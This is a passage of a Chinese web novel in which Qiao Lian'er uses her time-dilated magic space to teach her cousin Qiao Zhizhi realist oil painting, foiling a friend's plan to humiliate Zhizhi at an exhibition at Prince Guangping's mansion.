仙鹤和凤凰在海洋上和白云之间展翅高飞,甚至有海浪和白云延展出来的部分,也不知道用了什么涂料,久不见褪色,活灵活现,惟妙惟肖。 下面铺的汉白玉地板反光,将上方的投影映照出来,相互映衬,美不胜收。 画室的中央,隔一段距离就安置了一座古色古香的屏风,屏风前有素雅的古木坐榻,很大程度上保持了原木的风格,又设了茶几,摆着插花和价值不菲的茶具,可以供赏画的客人流连啜饮。 另有无数处雅致和别具匠心的细节,不一而足。 乔枝枝置身于这样的展室,只觉得目不暇接,大处小处,完全看不过来,心中都是惊叹。 这里,就像是每一个画画的人,最后想抵达的地方。 她现在已经在想象,把她的画作悬挂在墙上,一定能借来环境三分色,增添不少光彩。 “怎么样,还满意吧。”武青瑾看乔枝枝的脸色,知道她心动了。 没有一个喜好画画的人,会对这样的展厅无动于衷。 在京城,谁的画能够在广平王府的展厅展出,那就是值得人称道的荣耀,也是一种对画画水平的证明。 乔枝枝刚才脑袋热了一下,现在平静了下来,她有点担忧地说。 “青瑾,这展厅太高级了,非要很厉害的水平才配得上在里面展出,我的那些画,哪怕能借一下这展厅的映衬,可也不是我的真实水平——” “都到这一步了,你还担心什么呀。”武青瑾用手肘碰碰乔枝枝,对她挤眉弄眼。 “那些名流大家,还不是借了展厅的光辉,这是好事,不是你退缩的理由。” 是啊,都到这一步了,展厅也看过了,乔枝枝感到自己被架在火上,有一种赶鸭子上架的感觉。 “好了,安心回去做准备吧,你就按照我说的来,不会有事的,要不把日期定在后天,我把同龄的高门贵女公子能请来的都请来,为你助阵,展示你的天分。” “很快,你就能名扬京城了。” 乔枝枝想,或许是她自己缺乏勇气,还是不要辜负了青瑾的心意,心下一横,便确定下来。 第602章 画蛇添足 说真的,有点像她来的那个世界的布置,只能说搞艺术的,在创意上更大胆,更有未来前瞻性。 既有雅致浓郁的古意,也有让人耳目一新的现代感,两者很是默契融洽地结合起来。 不管是在墙壁上挂上写意的水墨画,还是写实繁复的风格,都是很相宜的。 乔镰儿脑子里闪过一个想法,但是没有确定下来,她要先等裴王府那边的消息。 武青瑾把乔枝枝送回乔家。 “枝枝,记得噢,后天一大早展出,然后大家一起在广平王府吃饭,你多认识几个同辈。” 武青瑾一走,乔枝枝去把以前满意的画作寻来,主要都是写意画,按照武青瑾说的,她要画得细节许多,而且涂上颜料。 乔镰儿进入房间,见乔枝枝对着那些颜料,脸上有些苦恼。 “镰儿,我总觉得这些颜料不够用,画不出我想要的效果,有的和实际上的颜色相差得太远了,这样画作就有很大的偏颇。” 乔镰儿看了一下那些颜料,古代画画颜料主要来自于矿石,很是罕有,也不好采集,还要经过研磨和提纯的工艺,一套很贵,在现实中,万物的颜色缤纷多样,这些古画颜料很多对应不上,只能尽可能地接近,这也是为什么这片土地上历来写意画比写实画更受欢迎的一个原因。 她不太相信,现在真的流行什么写实,这是不太现实的。 “枝枝姐,这些画作你先不要动。” 乔枝枝这下子拿着笔,这下子放着也不是,落笔也不是,她问:“为什么呢。” “你看看你改过的这两幅,明显远不如前面好看,等于是画蛇添足。” “可是——”乔枝枝想要说展出的事情,但是想到武青瑾的交代,又不好食言。 “没什么可是,枝枝姐你听我的,我知道你想画出什么风格,或许我可以帮你,但是你平时作画,重在写意,好好的画,不要糟蹋了。” 镰儿可以帮她,乔枝枝微微睁大了眼睛,她当然相信镰儿的话,不过后天就要展出,她只好厚着脸皮催促:“镰儿,那你快一点,我急着用。” 催完有点不好意思,但是乔镰儿没有计较,只是捏了捏她的脸,出去了。 很快裴王府那边就来了消息。 “郡主,几位名流大家到了,现在相聚一堂,请前去吧。” 乔镰儿乘上马车,没多久到了裴王府。 裴时玖让人把那些价值连城的画作,挂在他的一个大书轩里,有的还是失传已久,世人一直苦寻不得的绝世佳作。 那些大家名流倒是卖裴王府的面子,今天都到齐了,他们对着墙上和屏风上悬挂的画作啧啧称赞。 “这是张大家的乘鹤归去图,看过了不少赝品,今日能够目睹真迹,实在是人生大幸啊。” “最巧妙的是这只鹤的眼睛,里面似乎有光芒在流动,据说张大家一笔点成,这么多年来,不知道有多少人模仿,都只是拙劣的形似神不似。” “哎呀,你们快过来看,这好像是五百年都没有现世的吴大师的仙人云游图,我只是在记载名画作的典籍上看过,要说大泽国这片土地上,古往今来的所有画画大家,吴大师就算不能排第一,也能排前三了。” 伴随着一声惊呼,这些大家又朝那一幅仙人云游图涌过去。 裴时玖抱着手,立在一幅画作面前,脸上带着几分百无聊赖,默不作声打了一个呵欠。 他对画画不感兴趣。 虽然是他邀请来的人,但主要是裴祝锦陪同,和他们交谈画作。 偶尔往外面看一眼,小丫头咋还不来。 门口闪过了一抹淡蓝色的衣角, 他的眼睛亮了一下,抬步走了出去。 “最厉害的几个都请来了。” 乔镰儿点点头,进入书轩,和这些名流大家一一见了礼,也加入了赏画的队伍。 “原来郡主也喜欢赏画。”一个大家说:“不知郡主平时可有作画。” 乔镰儿面带笑容,微微颔首:“只是偶尔欣赏一下,了解不多,更没有碰过笔。” 一个大家乐呵呵地说:“作为一个兴趣便好,不必伤神费神。” 乔镰儿和他们交流几句,问:“这些画都是写意画,不过也有些年头了,我知道除了写意画,还有写实画,人们欣赏写意画久了,会不会转向写实的风格。” 一个大家捋着胡须,哈哈大笑了起来:“群主是个极为聪明能耐的人,但对这方面,知道得的确有些少了。” “这么说吧,大泽这一片土地上,一直是以写意为主,因为历来文化传统讲究含蓄,含蓄便是留白,画作留白,意蕴无穷,更加值得人玩味啊。” “还有一个原因,既然是写实,那就需要用到颜料,可是颜料种类稀少,实际中的颜色大都画不出来,如此一来画作就不好看,欣赏价值就不高,只能作为小众。” 一个大家感慨了一句:“说实话我想过,若是有颜料能够画出生活中和风景中所有的颜色,画作不知道会有多美呢,但也只能是想象罢了。” 另一个大家摆摆手:“不可能有这样的颜料,还是画好写意画吧,若是作出写意巅峰,同样能够名垂画史,想那些旁门,反而耗费心神,当心把路走偏了去。” 乔镰儿得出一个判断,根本就不像武青瑾说的那样,时下流行写实,一来是跟传统不符,二来是现实不允许。 武青瑾在骗乔枝枝,她为什么要这样做? 裴祝锦很是大方地说:“今天既然大家来捧扬,这墙上的画作,除了仙人云游图和乘鹤归去图,大家就挑一幅带回去吧,算是谢礼。” 大家们都很惊讶,想不到裴王府这么大方,虽然最好的那两幅得不到,但其他的画作,也是难得一求的珍品了,起码价值万两白银。 有这样的好事,他们当然不会推脱,赶紧客客气气地应承了。 乔镰儿趁热打铁:“想请各位先生卖一个人情。” 第603章 那就趁这个机会,真的成名吧 裴家送他们这一份大礼,当然不会白送,郡主突然到访,还和他们一起赏画,现在又这样说,他们很快就猜到,真正要见他们的是郡主。 难怪呢,他们还觉得奇怪,裴家对画画真正感兴趣的是裴王爷,可是却没有出面,出面的反而是两位世子。 拿人手短,吃人嘴软,一个大家立刻道:“郡主有何吩咐,只要我们能够做到,一定竭力而为。” 乔镰儿道:“我虽然不作画,但是我的堂姐已经学画数年,等到后日,广平王府会为她办一次画展,若是邀请了各位,还请各位念在堂姐年纪小,经验不足的份上,嘴上留情,让她有信心继续作画。” 原来这么简单,吹捧这种事情,他们最擅长了。 这些大家纷纷欣然应下。 其中一位大家道:“能够在广平王府办画展,就算年纪小没有大成,也说明天分极高,潜力巨大,要不然,依照广平王的性子,是不会愿意为十几岁的孩子办画展的。” 乔家是新秀,备受瞩目,而且每一个人都很争气,向上散发出蓬勃的生命力,不少高门大户都在偷偷了解乔家每一个人的情况,知道大乔镰儿两岁的堂姐乔枝枝醉心于画画,立志做出成就,只是她的画作还没有公诸于世。 “堂姐基本的笔法倒是掌握,在同龄人里还算可圈可点,只是在各位先生面前,怕是要班门弄斧了,后天有劳各位。” “好好,郡主就放心吧,我们虽然不才,但这种扬合去得多了,不管乔姑娘发挥得如何,我们都不会让她太难看。” 反正,找不同的角度变着法儿夸就是。 乔镰儿谢过大家,但是她心中清楚,如果画得不好,就算有人夸奖,别人心中也有数,对于枝枝姐的将来不算是好事。 还得枝枝姐拿出过硬的作品,这样才能服众。 这些大家抱着一幅画,心满意足离去,也不关心裴王府没有留他们吃饭的事情了。 一枝桃花斜逸进茶室,现在已经是桃花末季,风一来,便吹落了无数花瓣,掉在茶几上。 裴时玖抿了一口茶,徐徐道。 “最近似乎又有事了?” “有事,不过是关于堂姐,她被人骗了,没有涉及太多的争斗。” 对于两兄弟,她没有什么好隐瞒的,就一五一十说了出来。 两人听了对视一眼。 裴祝锦沉吟:“这武家好像也不是大皇子一派的人,只和广平王府走得近,可是广平王喜好书法和画画,对其他事情并无兴趣。” “是的,平时武家和乔家井水不犯河水。”乔镰儿接道:“我也很难想象,这其中有什么内情,让他们想着跟乔家不对付,或许完全是武青瑾的私心。” “我去查一查,如果只是武青瑾的个人行为,只要没有造成严重后果,给她一点教训也就罢了,不涉及其他。”裴时玖道。 乔镰儿心中对情况已经明了,武青瑾对乔枝枝撒这个谎,是想让乔枝枝在画展上出丑,败坏她的名声。 但是乔枝枝已经答应办画展, 说不定现在武青瑾已经把消息给散发出去,是推脱不能了。 既然如此,那就趁这个机会,把枝枝姐的名声给打出去吧。 那些见不得光的,乔镰儿现在还不能告诉乔枝枝,因为武青瑾是她最珍重的好友,如果知道被对方背叛,一定会让她大受打击。 先把名声拿到手,其他的事情后面再说。 乔镰儿抱着一个盒子,走进乔枝枝的房间。 乔枝枝越看那些改过的画越觉得不自然,就好像两种不协调的东西混杂在一起,可是她相信武青瑾不会跟她说假话,一定是她哪里做得不好。 想到后天就要展出了,她只觉得心中多了一抹烦躁之气。 “枝枝姐,你来看。”乔镰儿把盒子打开,里面是双层,每一层铺着一百支颜料,除此之外,还有画笔。 “这些是什么。” 乔镰儿拿起一支颜料,又取出一个颜料盒,然后把不同颜料挤在里面。 乔枝枝的眼睛一下子亮了,凭着作画几年的直觉,她立刻判断出来,这些都是难得一见的颜料,天空不同蓝色的层次,绿叶从新生到旺盛的不同绿色,以及不同红色的渐变,应有尽有,和生活中能够看到的颜色一一对应。 乔镰儿又把两支颜料混合,轻而易举就混成了其他颜色。 乔枝枝看呆了,她没有想到,所有喜欢画画的人梦中幻想的情景,就在她的眼前实现。 是的,作画到底画的是生活中的图景和风物,虽然讲究写意,但也是越能反映真实越好。 水墨写意画里有一个大缺陷,也不能说是缺陷吧,这是本身的特点决定的,就是不能用十分细致精确的颜色,还原万物的本来面貌。 因为就没有这样的颜料。 看到这些颜料,乔枝枝是真真切切觉得,这世上还能有另一种风格的绘画。 乔镰儿又从空间里面取出一幅油画,在乔枝枝的眼前展开。 广袤蓝天下,金黄的随风翻滚的麦浪中,坐落着一间间独舍,白墙红瓦,远处群山连绵起伏,近景则是一大簇白百合,颜色鲜丽,明亮,视觉冲击感很强,可却不落俗套,有一种极致的协调,仿佛只是呈现自然最真实的面貌而已。 乔枝枝从来没有想过,画画还能画成这种样子。 她捧着这一幅油画,满眼的不敢相信:“镰儿,怎么可能呢?我是不是在做梦。” “枝枝姐,你现在既要继续学写意画,也要把这种风格学会,这叫做写实风。” 写实,乔枝枝想到了,武青瑾说时下流行写实,要她拿出六七成的画作。 如果她能学会,挂在广平王府的那个展室,她相信,真的能够让人眼前一亮。 可是后天就要展出了,她根本就来不及学,这么多颜料都没有分辨清楚,还有这些画笔,也和平时拿的毛笔不一样。 没有个一两年打基础,是不可能的。 第604章 外面一刻,空间五天,有的是时间学 是的,不管什么风格的绘画,都要用几年的时间打基础,油画也是一样。 但如果这个问题,她不能够为乔枝枝解决的话,那她的空间岂不是个摆设? “枝枝姐,我把你送到一个地方学习,里面过了五天,外面才过一刻,一天有九十六刻,外面过去一天,里面过去四百八十天,也就是一年多的时间。” “后天画展,加上今天晚上,能够为你争取两年,你把一天的大部分时间投在上面,一年打基础,第二年精进,也是够用了。” 以前她经营空间里的作物,启动的就是这样的时差,用外面一两分钟的时间,就把空间打理得井井有条。 但实际上,里面的时间也是一分一秒过去的,和外界的感受没有什么区别。 乔枝枝就知道镰儿说的是哪里,像这样的画作,像这些颜料,根本就没有人见过,两年的时间,哪怕她不能仿其神,学到其形,也已经够用了。 乔镰儿在空间里,给乔枝枝安排了一间画室,有视频讲解颜料和画笔,调色盘等的用法,还有各种技法类似光影和透视等的运用,十分的详细。 乔枝枝第一次看到视频,惊讶不已,这对于她来说完全是个新鲜的,远远超出认知的事物,好一会儿才适应过来。 或许,她没有见过的东西多了去了,镰儿的世界太大太大了,大到她无法想象。 乔镰儿又教了一下乔枝枝视频操作,比如倍速播放,重复观看,切换下一个视频,乔枝枝很快学会了。 “镰儿,那我咋吃饭呀,外面的一刻,等于这里面的五天,我不好总出去要吃的,让你不断送进来也不现实。” 乔镰儿指了指旁边的一个自动取食箱:“一日三餐都在里面,每天的菜肴都不重样。” 乔枝枝过去拉出箱子,果然看到三荤两素一汤,热气腾腾的,在里面保着温呢,还有小木桶装着软糯晶莹的米饭。 所有都已经准备好,乔镰儿出了空间。 既然武青瑾要枝枝姐在广平王府的画展上一举成名,那就满足她的心愿吧。 第二天,武青瑾又来找乔枝枝,不过乔枝枝房门紧闭。 “枝枝姐有事要忙,今天闭门谢客。” 一个声音在武青瑾的身边响起,淡淡的没有什么起伏。 武青瑾转头看到了乔镰儿。 “有事,是不是在画画。”武青瑾问。 “是的,枝枝姐跟我说,她要转变画画的风格,还要在很短的时间内完成,所以是一刻也不得闲暇,武小姐明天再来找她吧。” 乔镰儿虽然平静淡漠,但是还算有礼貌,武青瑾虽然不太舒服,但也知道没有什么可怀疑的。 这个飞鸾郡主,总是这一副样子。 “那我明早来吧,我找她有很重要的事情,对他的人生会有很大的影响。” 是有影响,是好的影响还是坏的影响可说不一定,乔镰儿心中冷笑。 不过,如果武青瑾是真的希望乔枝枝好,那么等到乔枝枝学成并大放光彩,她也会真心为她高兴。 就不知道到时候,是什么样的脸色了。 现在是中午,算起来,乔枝枝在里头已经过了一年。 乔镰儿进去看情况,乔枝枝正背对着她,专心致志地在画板上忙碌,不时低头在调色盘上蘸取颜料。 她的头发因为没有修剪,长长了不少,泼墨般地垂到腰下,而她挽起袖子,露出一截洁白的皓腕,手上动作灵巧熟练。 乔镰儿仿佛看到未来的一个大家在奔赴那样的前程。 她看向画板,基本功乔枝枝已经都掌握,不算是构图,线条,还是光影和透视都运用得很好,现在,最重要的是画出抓人眼球的内容。 可以说,乔枝枝的天分和进步,超出她的预想。 她没有打搅乔枝枝,坐在门旁的椅子上,用意念布置着眼前的这一片空间,等乔枝枝作好画,放下画笔转过身来,才发现乔镰儿的存在。 一年都在埋头作画,没有见过家人,一下子,这种感觉亲切起来。 乔枝枝朝着乔镰儿扑过来:“我想死你们了。” 虽然可以用意念唤镰儿进来,但她还是决定全身心投入学习之中,除了吃饭和保持精力的必要作息时间,都是在画画。 “枝枝姐,长进不少,这一次展出还是很有希望的。”乔镰儿说。 得到镰儿的夸赞,想到这一年的辛苦,乔枝枝露出了欣慰的神情:“我也的确算得上努力,没有怠慢。” 乔镰儿拿起画作看,都是乔枝枝凭着记忆画的生活中的事物,比如村子,田野,街道,茶楼酒肆戏园子那些,还有这间画室附近的风景,虽然不乏怡人的景物,但视觉冲击力不够。 “枝枝姐,这几天就不画了,我带你去一些地方。” 她在这个世界上的地图好好选了一下,圈定了上百个不同的风景,都是同类型里的极致,有极寒冰雪遍布之地,火焰山,最清澈最梦幻的海岛,峡湾地貌,丹霞地貌,以及流光溢彩的极光,最壮美葳蕤的森林,最仙气或者险峻的群峰,像是世界边缘的无边断崖—— 乔枝枝没想到,这世上居然有这样美好到不真实的地方,刚落到一个岛屿上,她的灵魂就受到了震荡,睁大了眼睛,是眨也不敢眨,生怕一眨眼前的景致就消失了一样。 “要是这些景致能够画出来,枝枝姐,你一定能够名扬京城。” 乔枝枝看向乔镰儿,难道镰儿知道了什么,不过知道了也没关系,镰儿会好好帮她。 虽然武青瑾也在为她着想,但镰儿的办法,才能让她真正的安心。 乔枝枝看着眼前这个似梦似幻的海岛,沙滩银白,岛上植物郁葱,碧蓝色的海水一望无际,上面是飘逸着白云的蓝天,海水在阳光下波光粼粼,偶尔有鱼儿跃出,海风一来,波涛迭起,层层涌来,放眼望去,还有星罗棋布的岛屿隔海相望。 她深吸一口气,她何尝不想把这样的景致画到画布上去呢。 “可是镰儿你说要去很多景点,我怕看了其他的,就把这里忘了。” 第605章 一切准备好,即将开大 她举起相机,选了一个角度,将景物拍摄下来。 随拍随洗,很快,一张海岛照片就被吐出来。 乔镰儿把照片交给乔枝枝。 看看照片上,又看看岛屿,一模一样,乔枝枝的脑门又是一阵懵。 但是她很快回过神来,因为,讲解油画的视频她就看了一年,有人出现在一个框框里,触碰不到,但会说话,还会动,比起来,这个都是小巫见大巫了。 “这样,就不会忘了。”乔镰儿道。 乔枝枝眼泪汪汪,又抱着乔镰儿给了几个啵唧。 把最好的角度拍了几个,然后,转移到下一个景点。 不仅乔枝枝大饱眼福,乔镰儿身心也得到了很大的放松,平时,她的精力都在操心生意,军队,还有维护一家子的安全上,哪有这样闲暇的时候。 趁着成全乔枝枝画画事业的机会,她也多转悠转悠,去这个世界的好景点踩踩,以后带其他人去也好啊。 反正都是瞬间抵达,效率高,一天去了二十个景点,五天就去完了,拍了一大箩筐照片,外面也只是过去一刻钟。 乔镰儿把挑照片的事情交给乔枝枝,她的任务算是完成了。 这些照片,不仅仅是全景远景,还有不少局部近端特写,不管什么风格,都画点。 傍晚吃饭,照例是乔镰儿端起几样菜,给乔枝枝送去。 “这孩子不像话,再忙也要自己出来吃,让镰儿给送去像什么话。”万氏将筷子放下,接过端盘:“镰儿,让我这个做娘的去,枝枝有点不知数了。” “是啊,昨晚送,今天早上送,中午送,现在晚上又送。”乔老二说:“有手有脚,不至于。” 乔镰儿道:“二伯母,二伯父,这两天枝枝在准备一件大事,这对于她的人生来说很重要,除了我她谁也不能见。” “也只是这两天而已,过了明天,她就会和大家坐在一起吃饭了。” 什么大事?怎么连他们做父母的都不知道,乔老二和万氏面面相觑。 “好了,老二,老二媳妇,听镰儿的。”乔老太带着严肃道。 万氏生怕耽搁,赶紧把端盘交给乔镰儿,抱歉地笑笑:“那就辛苦镰儿了,你枝枝姐比你大,反而是你为她操心多。” 乔镰儿给乔枝枝送饭,一来是掩人耳目,二来是提醒乔枝枝时间。 早中晚三顿饭,都是隔了一定时辰的,可以推断外面是什么时候了。 很快又过去一天,画展是早上就要挂上墙,下午公开展出。 乔镰儿进去空间画室,乔枝枝已经把要展出的油画准备好了。 都是对景物的超高还原,景美,画当然美,好像把真实的风景,搬到了画布上一样。 不管是海水的清透,夕阳对白云的层次渲染,还是森林里的云蒸雾绕,都处理得很好。 这空间里的时间,又过去了一年,乔枝枝的领悟力强,进步相当大,不仅水墨写意画走向成熟,也成为一个厉害的油画写实画家。 “枝枝姐,你的这画,不到该现世的那一刻,不要给任何人看,不然若是临时指点,怕是要乱了你的心神。”乔镰儿道。 乔枝枝想了想:“好。” 就算是武青瑾,她也要给她一个惊喜。 回到现实生活中,东边升起来的太阳照进窗子,照的人浑身暖融融的,想到这里才过了一天两夜,乔枝枝有一种恍惚感。 谁知道,她在某个地方真真实实度过了两年的光阴,学会了一门新的绘画艺术。 她现在感觉自己不是十六岁,而是十八岁。 想法上,都老成了一些。 把那些画都装到马车上,就按照武青瑾说的,三成写意画,七成油画写实画。 乔枝枝犹豫了一下,这个家,她可以瞒着任何人,可不该瞒着镰儿,不管成功也好,失败也罢,在镰儿跟前,都不丢脸。 她新学的这一门技艺,都是因为镰儿的缘故。 再说,都要展出了,让镰儿到画室给她鼓励,不过分吧。 她把乔镰儿拉到一边:“镰儿,其实我是去广平王府办画展,这是青瑾好不容易为我争取到的机会,你也一起去吧,广平王府的画室很好看,我想让你看看,还有我有好多画,你都没有见过呢。” 乔镰儿脸上挂着淡淡的笑意,仿佛早就知道一切:“好啊。” 看到门口闪过一角衣影,她道:“这样吧,我先把画作送去广平王府,布置好,在展出之前,先别让别人进去。” 乔枝枝有点难过,没有什么瞒得过镰儿,好在她最后选择坦诚,不然会不会伤了镰儿的心? 乔镰儿乘着前一辆马车走了,武青瑾进来院子,她今天盛装打扮,很是亮眼,一边展着裙摆一边道:“枝枝,这是我特地留着为你展出才穿的衣裳,好看不。” “好看。”乔枝枝两年不见好友,满心高兴,衷心地祝福。 她也去换上自己最好的一身衣裙,从卧室出来小厅,看到武青瑾好像在茫然四顾,脸上带着疑惑,她道:“青瑾,你在找什么?” “枝枝,你要展出的那些画作呢,还没有准备吗?” “这个啊,我已经让镰儿送过去广平王府布置了,我们可以去晚一点。” “什么。”武青瑾愣了一下:“郡主也知道了?” “这个家的主心骨是镰儿,我怕我到时候应付不过来,多她一个人也好,再说,既然是画作展出,我还是希望有个乔家人参加,一起亲眼见证。” 武青瑾心中很不舒服,她忍着不满道:“你什么时候告诉郡主的。” “就在刚刚。” 武青瑾松了一口气,且不说乔镰儿平时对画画不感兴趣,就算看出点什么,都要展出了,谁能对广平王食言,还不是得抱着侥幸认了。 “那,你都是按照我说的准备的?” 乔枝枝只觉得武青瑾态度有点奇怪,她没有想太多,道:“七成的写实风。” 第606章 一大群等着挑刺的人 “枝枝,我有件事要跟你说,你不要生我的气。” 见武青瑾似乎有些愧疚的样子,乔枝枝赶紧拉住她的手。 “青瑾,你我之间不用这样生分。” 武青瑾垂着眼皮:“也不知道谁走漏了消息,要么就是南叔叔无意中提到,很多名流大家都知道你要在广平王府办画展,他们也要来瞧一眼。” “什么。”乔枝枝愣了一下:“不是说来的都是同龄人——” 同龄人她压力没有那么大,因为大家都没有真正成气候,评价也会宽容许多。 可那些名流大家,却是成名多年,对画作的要求也比较严格。 乔枝枝的心不安了起来。 “对不起,不是我说出去的,但广平王府这样显赫,这么大的事情,到底还是瞒不住。” “我没有做到对你的承诺,我于心有愧。” 乔枝枝想着都到这一步了,不管来的什么人她也得认,她总不能把人赶走或者临阵退缩吧,人家肯来,这本身也是一种捧扬。 想想她新学了一门技艺,还是增添了几分信心。 “青瑾,不怪你,我接受得了赞扬,也接受得了批评,正好知道我的缺点在哪里,从而加以改正。”乔枝枝努力对武青瑾笑了笑。 可是,如果批评是致命性的打击,是让人颜面扫地的指责,那就不好说了,武青瑾想。 她看着乔枝枝,心里面升起了一种像是优越感又像是同情的情绪,很可惜,乔枝枝在画画上的前程和梦想,就要断送在今日了。 乔镰儿带着那批画作到了广平王府,她先去见了广平王。 广平王酷爱艺术,其他的扬合不爱出面,这是她第一次见到广平王。 她在来的世界,看过一部叫《天下第一》的武侠片,广平王的样子,很像铁胆神侯,不苟言笑,唇上留着两撇髭须,浑身散发出磅礴的帝王威仪。 这样气度的王亲,要不是醉心艺术,只怕皇帝会很不放心吧。 乔镰儿见了礼之后,说明了来意。 广平王很是大方地道:“既然郡主有心操劳,那便辛苦了。” 乔镰儿道:“堂姐要展出的画作,有颇多创新之处,在布置完成之前,还希望王爷不要让任何人进去展室。” “这么说有惊喜了。”广平王多了一抹期待。 “本王倒要看看,是什么样的创新,郡主去安排吧。” 这些年来,看了不少大家的大作,哪怕再优秀,也是在传统的风格上换着不同内容做文章,并没有令人亮眼的突破之处,广平王已经是有些看乏了。 等到乔镰儿带着人把画作搬进展室,展室的门便被关了起来。 每一个展示的小隔壁,都是不同的风格,要根据这些风格,把不同的画作给悬挂上去,相配得宜,才能发挥最好的效果。 还没有到中午,就陆陆续续有不少人来到了展厅外。 “听说展出画作的是个小画师,才十七岁的年纪,这么小的年纪就办画展,还是在广平王府,看来对自己的水平很有信心。” “是啊,这个年纪,除了两年前的武家小姐,还是头一遭,广平王府也真是给面子,莫非真有两把刷子。” 那些岁数差不多的高门贵女和公子,更是来了一大堆,叽叽喳喳的,很是热闹。 “青瑾说了,乔家姑娘是难得一见的天才,让我们好好观摩学习。” “再好能有青瑾好?青瑾可是两年前就开始成名了,是咱们同辈里最有名气的画家,乔家姑娘可从来没有听过她的名头。” 有人偷偷地说:“乔家姑娘和青瑾最为交好,难道就是为了今天,我们当中也不乏小有名气的,可却没有机会在广平王府展出画作。” 其他人就恍然大悟:“原来是巴结讨好,唉,青瑾画得好,武家又和广平王府交好,就让有的人起了心思。” 乔枝枝没有想到,她还没有到广平王府,就已经成为巴结殷勤之辈了。 “好了,今天我们是来观摩乔姑娘的画展的,一起讨论,方能进步,而不是妄加揣测,乱扣帽子。” 一个身着青衫,容貌俊美的少年,面上带着不悦说。 大家循声看过来,见是豫华公府的三公子林松砚,这林家可了不得,世代所出的男儿,都是人中龙凤,不仅人品端正,而且读书厉害,考取举人进士者不计其数,林家也是皇家公主或者亲王郡主挑选女婿的主要对象。 所以,林家是正儿八经的皇亲国戚,地位稳固尊崇,多少人巴结都来不及。 而武青瑾从小喜欢林松砚,今天的展出,本来林松砚是不来的,武青瑾送去了三道请帖,林松砚才肯露面,但也仅仅是为了两家的表面过得去。 见林松砚这样说,那些乱七八糟的讨论停止了,谁也不愿意去得罪林家。 只是有一名贵女嘀咕着说:“那也得拿出有价值的画作,才值得讨论。” 乔镰儿带来的人在画室里布置,她抽了一点时间,来到这些高门贵女公子之间,将他们说的话,将他们的神情都听在耳里,看在眼里。 这还没有开始展出,就有人在败坏枝枝姐的名声,这武青瑾结交的都是什么好友啊。 好在还算有人头脑清醒,不会让人牵着鼻子走。 不一会儿,在裴家见到的那几位大家也来了。 慕容舒看到这些人,脸上露出了一抹诧异,这几位大家可以说是京城活着的画画大师中,最厉害的几位,可是并没有传消息让他们来啊,因为他们的性子是出了名的刚直,也不会对一个十几岁的孩子过于苛责,青瑾是怎么想的。 可能是这里要办画展的消息传来传去,已经不可控制了吧,来的不少人都是没有预测的。 想想乔枝枝要是按照青瑾说的来的话,这些大家就算宽容,评价也不会好到哪里去。 眼看着时间要到了,乔枝枝也来了。 之所以没有提前来,是不想在画展之前,和人有过多的交流。 慕容舒一脸笑容迎了上去:“枝枝姑娘,这么多人来为你捧扬,相信你一定不会让大家失望。” 第607章 破防时刻:你什么时候背着我学这些画 要不是看到这样的情形,乔枝枝还不知道,喜好画画的人有这么多。 乔枝枝认得眼前的女子慕容舒,是武青瑾的好友之一,除了她,武青瑾和慕容舒走得最近。 “实在是辛苦大家,也感谢大家,我学画的时间不长,只能尽可能拿出现阶段最好的,不足之处,大家多多指正。” “说到底,画展不是最主要的目的,聆听大家的意见,让我自己得以进步才是。青瑾好不容易给我争取来这一次机会,我自当好好珍惜。” 乔枝枝说完,好好给大家鞠了个躬。 她很是谦逊,同时不卑不亢,看起来不像是一个会巴结人的。 有的人本来想挑几句刺,话到喉咙间又被堵了下去。 算了,态度上无可挑剔,那就看画作说话吧,作品才是真正的立身之本。 要是画得不好,再怎么有礼貌也没用。 广平王也过来了,见这么多人,他还是有点意外,因为只不过是一个孩子的画展。 按理来说,一个没多大的毛丫头而已,不至于请来这么多名流大家,大概是青瑾这孩子任性,想着越多的人给她的朋友捧扬越好呢。 武青瑾一看到广平王,就奔过去,挽住他的手臂。 “南叔叔,我也没想到有这么多人来,您不会怪我吧。” 她低声道:“我也不是每个人都邀请,有的是听说这里办画展,赶来看个热闹。” 广平王乐呵呵道:“本王怪你做什么?人多,说明捧扬的多,乔家姑娘全力以赴就好。” 他前面看过乔枝枝的画作,虽然天赋极高,在同龄人里属于佼佼,但她的经验太浅了,的确有点配不上这样热闹的景象。 不过有他在,也不会让人为难那个孩子。 时候已到,画展的大门打开了,乔镰儿站在门口,面带笑容,对大家打了一个请的手势。 “让各位久等了,画作已经悬好,还请各位进展室。” 大家早已经等待多时,有的来得特别早的,已经进了暖阁喝茶,现在都走出来。 这样一看,乌泱泱的,怕是快有两百号人了。 有不少人是不作画的,纯粹是想凑个热闹,看个乐趣。 乔镰儿先将一部分油画排在前面,很多人是抱着挑刺的心态来的,那就一开始把他们打服。 果然,刚刚一进门,所有人的目光都定住了,大家不敢相信地看着壁间的挂画,瞳孔震荡,齐齐发出了一声“啊”。 一来是美感和视觉的冲击,二来,是那种从来没有见过的新奇对灵魂的震荡。 这是什么样的笔触,能够将实际中的景物原原本本地还原,不管是颜色,还是细节,光影,都没有可以挑剔的地方。 是什么样的技巧,能够将大海的波光粼粼,云层透出来的月光,翻涌云海上日出的景象,雪山上的金光普照,山脉的明暗等精确地描绘,犹如现实中的景致亲临眼前。 又是什么样的经历,能够见到梦幻岛屿,无边断崖,滔天巨浪,雪山之巅等那般极致的风景。 不光是这些大景远景,还有花朵颜色的渐变,麦粒和麦芒,花瓶上的斑驳,以及猫狗的特写,毛发纤毫毕现,都和现实中毫无二致。 一时间,所有人都以为置身于梦境之中,生怕惊扰了这样的美梦,甚至都不敢大声呼吸。 广平王看着这些画,心神凝滞了一瞬,接着心中的情绪犹如海浪澎湃,只剩下满满的惊叹。 果然是惊喜。 他立刻出声,打破了这样的平静。 “快,快去把各大高门能请的都请来,就说广平王府这里有稀世画作诞生,绝对能够让人耳目一新。” 管家赶紧带着人出去。 听到广平王的声音,再确定了一下这些画的存在,大家相信自己没有做梦。 “太不可思议了吧,这是怎么画出来的。” “就好像把生活中的景物完完全全搬进去一样,颜色和层次完全不差,难以想象是人的手画出来的,天啦。” “不会是绣出来的吧。”有人伸手去触摸,接着赞叹连连:“真的是画的,用的也不是毛笔,竟有这么多的颜料,没见过呢。” 不仅是同龄人惊讶连连,那些颇有成就的名流大家,也是满口的夸赞。 有的原本是想着,一个小毛丫头能够拿出什么好画来,竟然敢在广平广府办展,要好好批评一下。 当然这其中,也有武青瑾的示意,武青瑾提前请大家做客,告诉大家,为了她的朋友进步,一定要不吝啬指出枝枝姑娘的毛病。 他们就明白了武姑娘的意思—— 而乔镰儿交代过的那些大家,则是决定不管怎么样,都要对武青瑾夸上一夸,在进入展厅之前他们已经商议好,每个人挑一个不同的角度,千万不要让枝枝姑娘难堪。 